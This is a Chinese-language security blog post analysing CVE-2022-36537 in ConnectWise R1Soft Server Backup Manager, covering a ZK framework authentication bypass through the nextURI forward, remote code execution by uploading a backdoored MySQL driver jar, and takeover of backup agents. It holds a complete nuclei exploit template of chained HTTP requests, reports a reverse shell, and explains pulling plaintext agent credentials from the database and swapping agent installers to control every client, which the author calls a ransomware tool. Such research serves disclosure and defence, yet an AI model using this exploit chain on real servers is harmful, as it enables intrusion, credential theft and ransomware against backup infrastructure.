警告
本文最后更新于 2022-11-17 ,文中内容可能已过时。
文章首发在tttang https://tttang.com/archive/1833/
http://wiki.r1soft.com/display/ServerBackup/Install+Server+Backup+Manager+on+Debian+and+Ubuntu.html
下载 http://repo.r1soft.com/6.16.3/75/trials/R1soft-ServerBackup-Manager-SE-linux64.zip
http://repo.r1soft.com/6.16.3/75/r1soft-getmodule-1.0.0-101_amd64.deb
把deb放到同一个目录,然后 dpkg -i *.deb
1
2
3
serverbackup-setup --user admin --pass r1soft
serverbackup-setup --http-port 8080 --https-port 8443
systemctl restart sbm-server.service
http://172.16.9.145:8080/login.zul
调试java需要编辑/usr/sbin/r1soft/conf/server.conf
加一行
1
additional.23=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
这个漏洞分为两个部分
ZK framework的一个权限绕过漏洞ZK-5150 上传jar包rce 先来看第一个洞
https://tracker.zkoss.org/browse/ZK-5150
根据漏洞描述来看,/zkau/upload
路由对应的AuUploader中可以通过nextURI进行forward转发操作。这个forward可能被用来绕过权限认证,或者泄露web.xml等敏感文件。
看一下GitHub的代码
https://github.com/zkoss/zk/blob/v9.6.1/zk/src/org/zkoss/zk/au/http/AuUploader.java#LL217C3-L217C3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
public void service ( HttpServletRequest request , HttpServletResponse response , String pathInfo )
throws ServletException , IOException {
final Session sess = Sessions . getCurrent ( false );
if ( sess == null ) {
response . setIntHeader ( "ZK-Error" , HttpServletResponse . SC_GONE );
return ;
}
final Map < String , String > attrs = new HashMap < String , String > ();
String alert = null , uuid = null , nextURI = null , sid = null ;
Desktop desktop = null ;
try {
if ( ! isMultipartContent ( request )) {
if ( "uploadInfo" . equals ( request . getParameter ( "cmd" ))) {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam ( request . getParameter ( "wid" ));
sid = escapeParam ( request . getParameter ( "sid" ));
desktop = (( WebAppCtrl ) sess . getWebApp ()). getDesktopCache ( sess )
. getDesktop ( XMLs . encodeText ( request . getParameter ( "dtid" )));
Map < String , Integer > percent = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_PERCENT ));
Map < String , Object > size = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_SIZE ));
// ZK-2329
if ( percent == null || size == null ) {
response . getWriter (). write ( "ignore" );
return ;
}
final String key = uuid + '_' + sid ;
Object sinfo = size . get ( key );
if ( sinfo instanceof String ) {
response . getWriter (). write ( "error:" + sinfo );
size . remove ( key );
percent . remove ( key );
return ;
}
final Integer p = percent . get ( key );
final Long cb = ( Long ) sinfo ;
response . getWriter ()
. write (( p != null ? p . intValue () : - 1 ) + "," + ( cb != null ? cb . longValue () : - 1 ));
return ;
} else
alert = generateAlertMessage ( ILLEGAL_UPLOAD , "enctype must be multipart/form-data" );
} else {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam ( request . getParameter ( "uuid" ));
sid = escapeParam ( request . getParameter ( "sid" ));
if ( uuid == null || uuid . length () == 0 ) {
alert = generateAlertMessage ( MISSING_REQUIRED_COMPONENT , "uuid is required!" );
} else {
attrs . put ( "uuid" , uuid );
attrs . put ( "sid" , sid );
// refix ZK-2056: should escape both XML and Javascript
final String dtid = escapeParam ( request . getParameter ( "dtid" ));
if ( dtid == null || dtid . length () == 0 ) {
alert = generateAlertMessage ( MISSING_REQUIRED_COMPONENT , "dtid is required!" );
} else {
desktop = (( WebAppCtrl ) sess . getWebApp ()). getDesktopCache ( sess ). getDesktop ( dtid );
final Map < String , Object > params = parseRequest ( request , desktop , uuid + '_' + sid );
nextURI = ( String ) params . get ( "nextURI" );
processItems ( desktop , params , attrs );
}
}
}
} catch ( Throwable ex ) {
if ( uuid == null ) {
uuid = request . getParameter ( "uuid" );
if ( uuid != null )
attrs . put ( "uuid" , uuid );
}
if ( nextURI == null )
nextURI = request . getParameter ( "nextURI" );
if ( ex instanceof ComponentNotFoundException ) {
alert = generateAlertMessage ( MISSING_REQUIRED_COMPONENT , Messages . get ( MZk . UPDATE_OBSOLETE_PAGE , uuid ));
} else {
alert = handleError ( ex );
}
if ( desktop != null ) {
Map < String , Integer > percent = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_PERCENT ));
Map < String , Object > size = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_SIZE ));
final String key = uuid + '_' + sid ;
if ( percent != null ) {
percent . remove ( key );
size . remove ( key );
}
}
}
if ( attrs . get ( "contentId" ) == null && alert == null )
//B65-ZK-1724: display more meaningful errormessage
alert = generateAlertMessage ( MISSING_REQUIRED_COMPONENT , "Upload Aborted : (contentId is required)" );
if ( alert != null ) {
if ( desktop == null ) {
response . setIntHeader ( "ZK-Error" , HttpServletResponse . SC_GONE );
return ;
}
Map < String , Integer > percent = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_PERCENT ));
Map < String , Object > size = cast (( Map ) desktop . getAttribute ( Attributes . UPLOAD_SIZE ));
final String key = uuid + '_' + sid ;
if ( percent != null ) {
percent . remove ( key );
size . put ( key , alert );
}
}
if ( log . isTraceEnabled ())
log . trace ( Objects . toString ( attrs ));
if ( nextURI == null || nextURI . length () == 0 )
nextURI = "~./zul/html/fileupload-done.html.dsp" ;
Servlets . forward ( _ctx , request , response , nextURI , attrs , Servlets . PASS_THRU_ATTR );
}
nextURI可以从request中接收,由Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
转发过去
想要给nextURI赋值,必须满足!isMultipartContent(request)==true
这个条件
1
2
3
public static final boolean isMultipartContent ( HttpServletRequest request ) {
return "post" . equals ( request . getMethod (). toLowerCase ( Locale . ENGLISH )) && FileUploadBase . isMultipartContent ( new ServletRequestContext ( request ));
}
很明显,就是需要Multipart发包传参数。
然后在下面这个地方有坑,这个放到后面说。
1
desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
parseRequest函数,将请求体Multipart解析出来,放入一个map中
然后nextURI = (String)size.get("nextURI");
拿到nextURI,最后通过Servlets.forward
转发nextURI的请求。
我们以http://172.16.9.145:8080/Configuration/server-info.zul
为例,测试一下通过nextURI转发绕过权限认证,这个页面是需要登陆才能访问的。
没有权限访问,所以跳转到login
接下来使用nextURI转发
没成功,断点调试一下
发现在desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
这个地方取不到dtid为dd的Desktop对象。
getDesktopCache中缓存为空值,这个东西不知道从哪进行给他添加缓存,然后我开了bp抓包,观察dtid的参数值及其引用的地方发现,dtid对应的应该是一个页面的缓存标识。
比如我访问/login.zul
,赋予一个session
并且此时页面的给了一个dt值
我们加上session并且将这个dt给上
可见确实绕过了权限认证,并且拿到了一些敏感信息,比如服务器:PublicKey、serverBuildDate
此时调试来看dtid对应的就是login.zul页面
好了,到此为止,我们绕过了权限认证,捋一下利用步骤
访问首页,拿到dtid和JSESSIONID 通过/zkau/upload的nextURI转发请求 受限于Multipart要求,只能转发POST请求。 所以需要找到POST请求的可以RCE的点。
huntress的文章中已经写了
代码在com.r1soft.backup.server.web.configuration.DatabaseDriversWindow#onUpload
跟进com.r1soft.backup.server.facade.DatabaseFacade#uploadMySQLDriver
先判断MySQLUtil.hasMySQLDriverClass(var5)
,然后将jar包调用ClassPathUtil.addFile(var5);
加入到classpath。
hasMySQLDriverClass判断你的jar包是否有org.gjt.mm.mysql.Driver
这个类
调用URLClassLoader
然后testMySQLDatabaseDriver测试驱动
1
2
3
4
5
6
7
8
9
10
11
12
13
public Boolean testMySQLDatabaseDriver () {
return MySQLDatabaseConnection . driverTest ();
}
public static boolean driverTest () {
try {
Class . forName ( "org.gjt.mm.mysql.Driver" );
return true ;
} catch ( ClassNotFoundException var1 ) {
return false ;
}
}
所以我们可以传jar包,内置一个org.gjt.mm.mysql.Driver
类,并且写上static代码块来执行自定义代码。
rce的整个过程捋通了,那么就是痛苦的构造exp的时候,怎么痛苦往下看就知道了。
先来一个数据库jar包,直接抄 https://github.com/airman604/jdbc-backdoor 的,改下类名即可,编译的时候一定要兼容低版本jdk,因为默认是jdk7的,用8编译出来的class会报错。
1
javac -source 1.6 -target 1.6 org/gjt/mm/mysql/Driver.java
接下来构造请求包,我先把我的exp贴出来,nuclei模版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
id : R1Soft
info :
name : ConnectWise R1Soft Authentication Bypass RCE
author : Y4er
severity : critical
description : |
The ZK framework disclosed a permission bypass vulnerability, and R1Soft used the ZK framework, resulting in a permission bypass, and remote code execution can be performed by uploading the database driver.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
- https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
tags : cve2022,zk,ConnectWise,R1Soft,RCE
variables :
uuid : '{{to_lower(rand_base(5))}}'
requests :
- raw :
- |
GET /login.zul HTTP/1.1
Host: {{Hostname}}
Connection: close
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/Configuration/database-drivers.zul
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClick&uuid_0={{mysqlDriverUploadButtonid}}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{Fileuploadid}}&dtid={{databasedtid}}&sid=0&maxsize=-1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
Content-Type: application/java-archive
{{base64_decode('jar包base64编码')}}
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onMove&opt_0=i&uuid_0={{FileuploadDlgid}}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={{FileuploadDlgid}}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{{Fileuploadid}}%22%2C%22sid%22%3A%220%22%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClose&uuid_0={{FileuploadDlgid}}&data_0=%7B%22%22%3Atrue%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
words :
- "The file does not contain the MySQL JDBC database driver"
- "The MySQL database driver was uploaded successfully"
part : body
extractors :
- type : regex
name : logindtid
internal : true
group : 1
regex :
- "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2Flogin.zul'"
- type : regex
name : databasedtid
internal : true
group : 1
regex :
- "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2FConfiguration\\\\x2Fdatabase\\\\x2Ddrivers.zul"
- type : regex
name : mysqlDriverUploadButtonid
internal : true
group : 1
regex :
- "'zul.wgt.Button','(.*)',{id:'mysqlDriverUploadButton'"
- type : regex
name : FileuploadDlgid
internal : true
group : 1
regex :
- "zul.fud.FileuploadDlg','(.*)',"
- type : regex
name : Fileuploadid
internal : true
group : 1
regex :
- "'zul.wgt.Fileupload','(.*?)',"
反弹shell成功
上传的jar包在/usr/sbin/r1soft/conf/database-drivers/mysql-connector.jar
,只能打一次,因为static只会被加载一次。
编写exp只需要把正常的上传包用nextURI转发下,好像有4、5个请求包,模拟一下就行了。
看我的exp可见需要几个参数logindtid、databasedtid、mysqlDriverUploadButtonid、FileuploadDlgid、Fileuploadid,用nuclei提取出来即可,除了有点恶心人以外没啥技术含量。
在使用nextURI触发/Configuration/database-drivers.zul
拿dtid时,一直没找到这个zul应该怎么访问,我登陆进去访问抓的请求包一直都是直接POST的/zkau
,然后在看com.r1soft.backup.server.web.configuration.LDAPAuthenticationWindow
的时候发现了
放浏览器里发现可以直接打开,然后就按规律DatabaseDriversWindow
对应/Configuration/database-drivers.zul
,由此才拿到关键的database dtid
写文章的时候思来想去觉得这种上传jar包的方式不优雅,一个不小心jar包就把系统整炸了,而且收到Class.forName的影响,只能打一次,所以尝试找了一下其他方式
在com.r1soft.backup.server.web.configuration.LDAPTestConnectionWindow#testConnection
中
有ldap操作
不过没有调用lookup,自己用unboundid库实现了一个ldap server,lookup会触发processSearchResult,而new InitialDirContext(var9)
只会触发processSimpleBindRequest、processSimpleBindResult,processSimpleBindResult中好像没有办法返回这些属性
1
2
3
4
5
Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", clazzName);
e.addAttribute("javaCodeBase", Config.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", clazzName);
所以好像利用不了,如果有对ldap熟悉的师傅希望可以指点一下。
huntress的文章中演示了一个脚本直接勒索所有agent,我看了下有几种方式。
数据库中存储了agent的账号密码,打了r1soft server之后直接smb过去 替换agent文件 数据库文件在/usr/sbin/r1soft/data/h2/r1backup.h2.db
没找到密码在哪配置的,看日志配了c3p0库,所以直接断点断到com.mchange.v2.c3p0.impl.NewProxyConnection#NewProxyConnection(java.sql.Connection)
向上回溯到org.hibernate.engine.jdbc.internal.LogicalConnectionImpl#getConnection
拿到数据库明文密码
在select MAPKEY,DATA from TASKEXECUTIONCONTEXTDATA where MAPKEY like 'agent%'
表中发现账号密码
1
2
3
agentUser 0xACED000574000D61646D696E6973747261746F72
agentHost 0xACED000574000C3137322E31362E392E313436
agentPass 0xACED000574000A61646D696E3136214023
agent的明文密码就有了
另一种方式是直接替换掉服务端的agent文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
root@ubuntu:/usr/sbin/r1soft# ls Deployment/Agent/
r1soft-getmodule-amd64.deb serverbackup-agent-i386.rpm serverbackup-enterprise-agent-amd64.deb serverbackup-setup-i386.deb.asc
r1soft-getmodule-amd64.deb.asc serverbackup-agent-i386.rpm.asc serverbackup-enterprise-agent-amd64.deb.asc serverbackup-setup-i386.rpm
r1soft-getmodule-i386.deb serverbackup-agent-x86_64.rpm serverbackup-enterprise-agent-i386.deb serverbackup-setup-i386.rpm.asc
r1soft-getmodule-i386.deb.asc serverbackup-agent-x86_64.rpm.asc serverbackup-enterprise-agent-i386.deb.asc serverbackup-setup-x86_64.rpm
r1soft-getmodule-i386.rpm serverbackup-async-agent-amd64.deb serverbackup-enterprise-agent-i386.rpm serverbackup-setup-x86_64.rpm.asc
r1soft-getmodule-i386.rpm.asc serverbackup-async-agent-amd64.deb.asc serverbackup-enterprise-agent-i386.rpm.asc ServerBackup-Windows-Agent-x64.msi
r1soft-getmodule-x86_64.rpm serverbackup-async-agent-i386.deb serverbackup-enterprise-agent-x86_64.rpm ServerBackup-Windows-Agent-x64.msi.asc
r1soft-getmodule-x86_64.rpm.asc serverbackup-async-agent-i386.deb.asc serverbackup-enterprise-agent-x86_64.rpm.asc ServerBackup-Windows-Agent-x86.msi
serverbackup-agent-amd64.deb serverbackup-async-agent-i386.rpm ServerBackup-Service.exe ServerBackup-Windows-Agent-x86.msi.asc
serverbackup-agent-amd64.deb.asc serverbackup-async-agent-i386.rpm.asc serverbackup-setup-amd64.deb
serverbackup-agent-i386.deb serverbackup-async-agent-x86_64.rpm serverbackup-setup-amd64.deb.asc
serverbackup-agent-i386.deb.asc serverbackup-async-agent-x86_64.rpm.asc serverbackup-setup-i386.deb
当添加完需要备份的机器,然后部署agent时,点击“Deploy Agent Software”
弹出下图
当账号密码正确时,我们应该考虑他是怎么部署agent到目标机器上的,跟代码看一下。当点击提交时,会向任务队列中放一个RemoteAgentDeploymentTask实例来异步安装agent
该实例真正安装agent的函数处理在
com.r1soft.backup.server.worker.RemoteAgentDeploymentWorker#processWindowsDeployment
关键的点就图中圈起来的5个步骤
第一,尝试连接远程rpc服务
第二,初始化IPC共享临时目录
第三,通过smb把agent安装文件写入ipc
1
2
3
4
5
public void transferBinary () throws DeploymentException , InterruptedException {
this . transferBinary ( WINDOWS_SERVICE_BINARY_PATH );
this . transferBinary ( WINDOWS_32BIT_INSTALLER_PATH );
this . transferBinary ( WINDOWS_64BIT_INSTALLER_PATH );
}
第四,传输公钥和部署key
1
2
3
public void transferKey () throws DeploymentException , InterruptedException {
this . transferBinary ( PUBLIC_KEY_PATH , this . deploymentKey );
}
第五,远程创建并启动ServerBackupAgentDeployment服务
该服务就是执行ipc共享中传过来的安装包
很明显了。
那么在实际利用中,我们没有agent的账号密码,应该怎么用呢?
实际目标应该是已经配好了agent,会增加一个“Update Agent Software”的选项
这个不需要输入密码,可以直接替换安装包ServerBackup-Windows-Agent-x64.msi
或者wsbausx64.exe
,即可rce agent。
不过有个小坑,我们跟一下来看
agent update的操作在com.r1soft.backup.server.task.AgentUpdateTask#run
windows系统会进入com.r1soft.backup.server.task.AgentUpdateWindows#run
这里会比较agent版本号,获取server上的版本号是通过读文件的形式
com.r1soft.backup.server.facade.AgentFacade#getAgentInstallerInfo
所以修改/usr/sbin/r1soft/bin/scripts/WindowsAgentInstallerVersion
文件为一个大的版本号,这样就会重新安装agent了。
接着先通过restoreFiles传输安装包
然后执行下面两条命令
1
2
3
4
cmd.exe /c del C:\Windows\Temp\wsbaus*
cmd.exe /c C:\Windows\Temp\2ade228f-c92e-49c2-8b63-fd4bfdc9040f_wsbausx64.exe install
cmd.exe /c echo {"ServiceCtrlTimeout" :300,"AgentService" :"cdp" ,"MsiPackage" :"2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi" } > C:\Windows\Temp\wsbaus.config
net start wsbaus
wsbausx64.exe install安装服务,然后wsbaus服务会启动2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi
所以替换安装包,或者替换wsbaus服务都可以控制agent。
这篇文章从ZK权限绕过,使用nextURI转发绕过权限认证,然后用mysql drivers jar包来rce r1soft server端,然后通过下发更新包的形式控制agent,勒索神器。洋洋洒洒写了这么多字,希望对读者有所帮助。
https://www.huntress.com/blog/critical-vulnerability-disclosure-connectwise/r1soft-server-backup-manager-remote-code-execution-supply-chain-risks https://tracker.zkoss.org/browse/ZK-5150 http://repo.r1soft.com/ https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。